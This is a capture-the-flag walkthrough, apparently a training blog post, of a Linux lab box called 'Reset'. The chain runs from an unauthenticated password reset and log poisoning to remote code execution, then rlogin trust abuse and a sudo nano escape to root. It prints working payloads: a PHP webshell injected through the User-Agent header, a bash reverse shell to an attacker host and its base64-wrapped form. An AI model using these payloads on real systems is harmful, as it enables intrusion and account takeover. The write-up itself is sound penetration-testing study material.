Reset is an Easy-rated Linux box built around a genuinely broken password reset endpoint, a log-poisoning-to-RCE chain, and a deep cut into legacy Rservices trust relationships for privesc. Every individual vulnerability here is well documented and, on paper, simple. In practice, the log poisoning step turned into the longest debugging session of the season — not because the vulnerability was hard to find, but because getting a reliable reverse shell out of it required untangling three separate, compounding failure modes at once. That debugging process is worth documenting in as much detail as the exploit itself.
sudo nmap -sV -sC -p- --min-rate 5000 <target>
| Port | Service |
|---|---|
| 22 | OpenSSH |
| 80 | Apache — "Admin Login" page |
| 512 | netkit-rsh rexecd |
| 513 | rlogin |
| 514 | Netkit rshd |
Ports 512–514 are the classic Rservices trio — a strong signal for later, legacy trust-based lateral movement.
The site's "Forgot Password?" flow posts a username to
reset_password.php. The endpoint doesn't require knowing anything
about the account first — and its JSON response contains the freshly
generated password in plain text:
curl -s -X POST http://<target>/reset_password.php -d "username=admin"
# {"username":"admin","new_password":"0af20d2b","timestamp":"..."}
That's immediate, unauthenticated account takeover for any known or
guessable username. Logging in as admin with the returned password
grants access to dashboard.php — an internal log viewer with a
dropdown for syslog and auth.log.
The log viewer passes the selected path directly to the backend via a
file POST parameter, with only a loose /var/log/ prefix check —
no whitelist enforcement beyond that. Pointing it at
/var/log/apache2/access.log should be a textbook log-poisoning setup:
Apache logs the request User-Agent verbatim, so a PHP payload placed
there gets written to a file the app is willing to include.
/var/log/syslog, /var/log/auth.log, and
even /etc/passwd came back completely blank or "Invalid file path,"
with no obvious pattern. The instinct here was to suspect log rotation, a
race condition, session expiry, or file permissions — and each of those
turned out to be a real, if minor, factor at different points. The actual
root cause of most of the "blank" results, though, was much dumber: a
grep -oP extraction pattern using .*? to pull content out of the
response, which does not match across newlines by default. Since the log
content spans many lines, the regex silently matched nothing — even
when the underlying request and response were both completely fine.
Confirming the LFI actually worked meant abandoning fragile one-line extraction patterns in favor of dumping full raw responses and eyeballing them directly:
curl -s "http://<target>/THISISAUNIQUEMARKER12345" curl -s -b cookies.txt -X POST http://<target>/dashboard.php \ -d "file=/var/log/apache2/access.log" | grep -A5 "Log Contents"
Once verified with a controlled, uniquely identifiable marker string, the LFI was confirmed solid and had never actually been broken.
With the LFI confirmed, the next step — planting
<?php system($_GET['cmd']); ?> via User-Agent and triggering it with
a matching query parameter — produced a working phpinfo() execution,
proving code execution worked. Getting an actual reverse shell out of it
surfaced two more distinct problems.
Every poisoned line ever sent stays in the file indefinitely. Since the
viewer includes the whole log top-to-bottom, an earlier test
payload using $_GET['cmd'] would still execute first on every later
request. If that request didn't happen to also supply a cmd
parameter, PHP 8's strict typing threw a fatal TypeError passing
null into system(), halting the entire script before it ever
reached a newer payload further down the file.
$_GET at all once the
hardcoded final command is known.
system() invokes /bin/sh, not bashOnce a payload was self-contained, the classic reverse shell one-liner still silently failed:
bash -i >& /dev/tcp/<attacker>/4444 0>&1
system() executes commands via /bin/sh, which on Ubuntu is
dash, not bash. dash does not support the >& redirection
shorthand bash uses for combining stdout/stderr into a socket — it's a
bash-specific extension. The command was silently failing at the shell
level, with no error surfaced anywhere, because it never even reached a
shell that understood the syntax.
The fix avoids the bash-vs-dash mismatch entirely by base64-encoding the
real payload and explicitly piping it into bash, keeping the outer
command POSIX-compatible (plain piping works fine under dash):
# Encode the real payload
echo -n 'bash -i >& /dev/tcp/<attacker>/4444 0>&1' | base64 -w0
# Poison with the encoded, self-contained payload
curl -s http://<target>/ \
-A "<?php system('echo <BASE64>|base64 -d|bash'); ?>" -o /dev/null
# Trigger (with any legacy $_GET names still needed to survive older lines)
curl -s -b cookies.txt -X POST "http://<target>/dashboard.php?cmd=id&trigger=id" \
-d "file=/var/log/apache2/access.log" -o /dev/null &
That landed a clean shell as www-data.
/etc/hosts.equiv confirmed the setup hinted at by the open Rservices
ports:
- root - local + sadm
The bare + sadm entry means any remote host is trusted to log in as
sadm via rlogin with no password at all — rsh/rlogin's
antiquated trust model authenticates based on the connecting username and
hostname/IP matching an allow-list, not a credential. The only trick is
that the client also needs a local account literally named sadm, since
the trust decision is keyed off the connecting username:
# on the attacker box sudo useradd sadm sudo passwd sadm su sadm rlogin <target>
That dropped straight into an interactive session as sadm on the
target, zero credentials required.
sadm had an existing detached tmux session:
find / -user sadm 2>/dev/null | grep tmux tmux ls tmux attach -t sadm_session
The pane showed a half-completed command — sadm piping a password
into a sudo prompt that had already failed once:
echo <PASSWORD> | sudo -S nano /etc/firewall.sh Too many errors from stdin
That leaked password worked cleanly for a real sudo -l:
User sadm may run the following commands on reset:
(ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
(ALL) PASSWD: /usr/bin/tail /var/log/syslog
(ALL) PASSWD: /usr/bin/tail /var/log/auth.log
nano with sudo rights is a documented GTFOBins escape:
sudo /usr/bin/nano /etc/firewall.sh # Ctrl+R, Ctrl+X, then type: reset; sh 1>&0 2>&0
root@reset:~# cat /root/root.txt
[root flag captured ✅]
User-Agent headerwww-data — after working through log accumulation, a PHP null-argument fatal error, and a dash-vs-bash redirection incompatibility/etc/hosts.equiv trusts any host connecting as user sadm via legacy rsh/rlogin services, requiring only a matching local username on the attacking machine — no credentialssadm leaks a sudo password mid-commandnano are abused via a documented GTFOBins shell-escape technique for full rootsystem(), exec(), and friends in PHP invoke the configured shell (typically /bin/sh, i.e. dash on Debian/Ubuntu) — not necessarily bash. Bash-specific syntax like >& redirection shorthand will silently fail under a POSIX-only shell with no visible error. Base64-encoding a payload and piping it explicitly into bash sidesteps the entire class of problem.rsh/rlogin/rexec) authenticate by trusting the claimed username and source host/IP rather than a credential — a fundamentally broken model by modern standards, but still occasionally found propping up "trusted internal" workflows. A bare hosts.equiv entry is effectively a standing invitation.Scarif Operations | th3m4dh4ck3r.com | CPTS prep, Season 11